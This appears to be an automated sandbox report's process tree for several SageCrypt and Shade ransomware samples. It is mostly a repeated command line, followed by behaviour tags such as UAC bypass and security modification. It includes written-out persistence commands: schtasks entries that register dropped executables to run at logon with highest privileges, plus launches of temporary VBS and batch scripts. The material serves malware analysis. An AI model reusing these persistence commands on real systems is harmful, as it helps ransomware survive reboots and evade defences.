C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe"C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe" g5⤵
-
-
C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe"C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe" g5⤵
-
-
C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe"C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe" g5⤵
-
-
C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe"C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe" g5⤵
-
-
C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe"C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe" g5⤵
-
-
C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe"C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe" g5⤵
-
-
C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe"C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe" g5⤵
-
-
C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe"C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe" g5⤵
-
-
C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe"C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe" g5⤵
-
-
C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe"C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe" g5⤵
-
-
C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe"C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe" g5⤵
-
-
C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe"C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe" g5⤵
-
-
C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe"C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe" g5⤵
-
-
C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe"C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe" g5⤵
-
-
C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe"C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe" g5⤵
-
-
C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe"C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe" g5⤵
-
-
C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe"C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe" g5⤵
-
-
C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe"C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe" g5⤵
-
-
C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe"C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe" g5⤵
-
-
C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe"C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe" g5⤵
-
-
C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe"C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe" g5⤵
-
-
C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe"C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe" g5⤵
-
-
C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe"C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe" g5⤵
-
-
C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe"C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe" g5⤵
-
-
C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe"C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe" g5⤵
-
-
C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe"C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe" g5⤵
-
-
C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe"C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe" g5⤵
-
-
C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe"C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe" g5⤵
-
-
C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe"C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe" g5⤵
-
-
C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe"C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe" g5⤵
-
-
C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe"C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe" g5⤵
-
-
C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe"C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe" g5⤵
-
-
C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe"C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe" g5⤵
-
-
C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe"C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe" g5⤵
-
-
C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe"C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe" g5⤵
-
-
C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe"C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe" g5⤵
-
-
C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe"C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe" g5⤵
-
-
C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe"C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe" g5⤵
-
-
C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe"C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe" g5⤵
-
-
C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe"C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe" g5⤵
-
-
C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe"C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe" g5⤵
-
-
C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe"C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe" g5⤵
-
-
C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe"C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe" g5⤵
-
-
C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe"C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe" g5⤵
-
-
C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe"C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe" g5⤵
-
-
C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe"C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe" g5⤵
-
-
C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe"C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe" g5⤵
-
-
C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe"C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe" g5⤵
-
-
C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe"C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe" g5⤵
-
-
C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe"C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe" g5⤵
-
-
C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe"C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe" g5⤵
-
-
C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe"C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe" g5⤵
-
-
C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe"C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe" g5⤵
-
-
C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe"C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe" g5⤵
-
-
C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe"C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe" g5⤵
-
-
C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe"C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe" g5⤵
-
-
C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe"C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe" g5⤵
-
-
C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe"C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe" g5⤵
-
-
C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe"C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe" g5⤵
-
-
C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe"C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe" g5⤵
-
-
C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe"C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe" g5⤵
-
-
C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe"C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe" g5⤵
-
-
C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe"C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.ahg-ea5a47ff2ae0b0922b70f25944b690e95267fc83043279be2ea895b5cab5410d.exe" g5⤵
-
-
-
-
-
C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.dfk-fa03a5919f885e26b3147cae493f7981614b83edaca30a11315219d7127bb96b.exeTrojan-Ransom.Win32.SageCrypt.dfk-fa03a5919f885e26b3147cae493f7981614b83edaca30a11315219d7127bb96b.exe2⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- NTFS ADS
- Suspicious behavior: CmdExeWriteProcessMemorySpam
-
C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.dfk-fa03a5919f885e26b3147cae493f7981614b83edaca30a11315219d7127bb96b.exe"C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.dfk-fa03a5919f885e26b3147cae493f7981614b83edaca30a11315219d7127bb96b.exe" g3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- NTFS ADS
-
-
C:\Windows\SysWOW64\schtasks.exe"C:\Windows\System32\schtasks.exe" /CREATE /TN "N0mFUQoa" /TR "C:\Users\Admin\AppData\Roaming\Rj3fNWF3.exe" /SC ONLOGON /RL HIGHEST /F3⤵
- System Location Discovery: System Language Discovery
- Scheduled Task/Job: Scheduled Task
-
-
C:\Users\Admin\AppData\Roaming\Rj3fNWF3.exe"C:\Users\Admin\AppData\Roaming\Rj3fNWF3.exe"3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- NTFS ADS
-
C:\Users\Admin\AppData\Roaming\Rj3fNWF3.exe"C:\Users\Admin\AppData\Roaming\Rj3fNWF3.exe" g4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- NTFS ADS
-
-
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\f252888.vbs"3⤵
-
-
-
C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.dqq-9b0682fd7846e7edd3bf6206adb76e94953f7af62243928449af563f95ab9339.exeTrojan-Ransom.Win32.SageCrypt.dqq-9b0682fd7846e7edd3bf6206adb76e94953f7af62243928449af563f95ab9339.exe2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: CmdExeWriteProcessMemorySpam
-
C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.dqq-9b0682fd7846e7edd3bf6206adb76e94953f7af62243928449af563f95ab9339.exeTrojan-Ransom.Win32.SageCrypt.dqq-9b0682fd7846e7edd3bf6206adb76e94953f7af62243928449af563f95ab9339.exe3⤵
- Modifies WinLogon for persistence
- Modifies firewall policy service
- Modifies security service
- UAC bypass
- Windows security bypass
- Drops startup file
- Executes dropped EXE
- Windows security modification
- Adds Run key to start application
- Checks whether UAC is enabled
- Suspicious use of AdjustPrivilegeToken
- System policy modification
-
-
-
C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.eqs-8eea329ef17e6b6d21c2b5e8b5f063a5c73e1116787b77bc034232071fe65391.exeTrojan-Ransom.Win32.SageCrypt.eqs-8eea329ef17e6b6d21c2b5e8b5f063a5c73e1116787b77bc034232071fe65391.exe2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious behavior: CmdExeWriteProcessMemorySpam
-
C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.eqs-8eea329ef17e6b6d21c2b5e8b5f063a5c73e1116787b77bc034232071fe65391.exe"C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.eqs-8eea329ef17e6b6d21c2b5e8b5f063a5c73e1116787b77bc034232071fe65391.exe" g3⤵
-
-
-
C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.xx-5ffd631d2e652487074b273c7199b1b3e619fb975cbd0ec82c9c9af27f250276.exeTrojan-Ransom.Win32.SageCrypt.xx-5ffd631d2e652487074b273c7199b1b3e619fb975cbd0ec82c9c9af27f250276.exe2⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious behavior: CmdExeWriteProcessMemorySpam
-
C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.xx-5ffd631d2e652487074b273c7199b1b3e619fb975cbd0ec82c9c9af27f250276.exe"C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.SageCrypt.xx-5ffd631d2e652487074b273c7199b1b3e619fb975cbd0ec82c9c9af27f250276.exe" g3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\schtasks.exe"C:\Windows\System32\schtasks.exe" /CREATE /TN "2y3tcrdB" /TR "C:\Users\Admin\AppData\Roaming\DbLrW8nl.exe" /SC ONLOGON /RL HIGHEST /F3⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Users\Admin\AppData\Roaming\DbLrW8nl.exe"C:\Users\Admin\AppData\Roaming\DbLrW8nl.exe"3⤵
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\__config252888.bat"3⤵
-
-
-
C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.Shade.oaq-556385396b3383b85bc2e2e9fdf1c3bc8801d4665aae745b0120a4ac4d95aaa0.exeTrojan-Ransom.Win32.Shade.oaq-556385396b3383b85bc2e2e9fdf1c3bc8801d4665aae745b0120a4ac4d95aaa0.exe2⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: CmdExeWriteProcessMemorySpam
- Suspicious behavior: MapViewOfSection
-
C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.Shade.oaq-556385396b3383b85bc2e2e9fdf1c3bc8801d4665aae745b0120a4ac4d95aaa0.exeTrojan-Ransom.Win32.Shade.oaq-556385396b3383b85bc2e2e9fdf1c3bc8801d4665aae745b0120a4ac4d95aaa0.exe3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
-
C:\Users\Admin\Desktop\00362\Trojan-Ransom.Win32.Shade.owu-bb6f856ad48b43e231364df2fcc37ec2a115335f4a0d6e9968b709ce163d13f3.exeTrojan-Ransom.Win32.Shade.owu-bb6f856ad48b43e231364df2fcc37ec2a115335f4a0d6e9968b709ce163d13f3.exe2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious behavior: CmdExeWriteProcessMemorySpam
- Suspicious use of SetWindowsHookEx
-
-
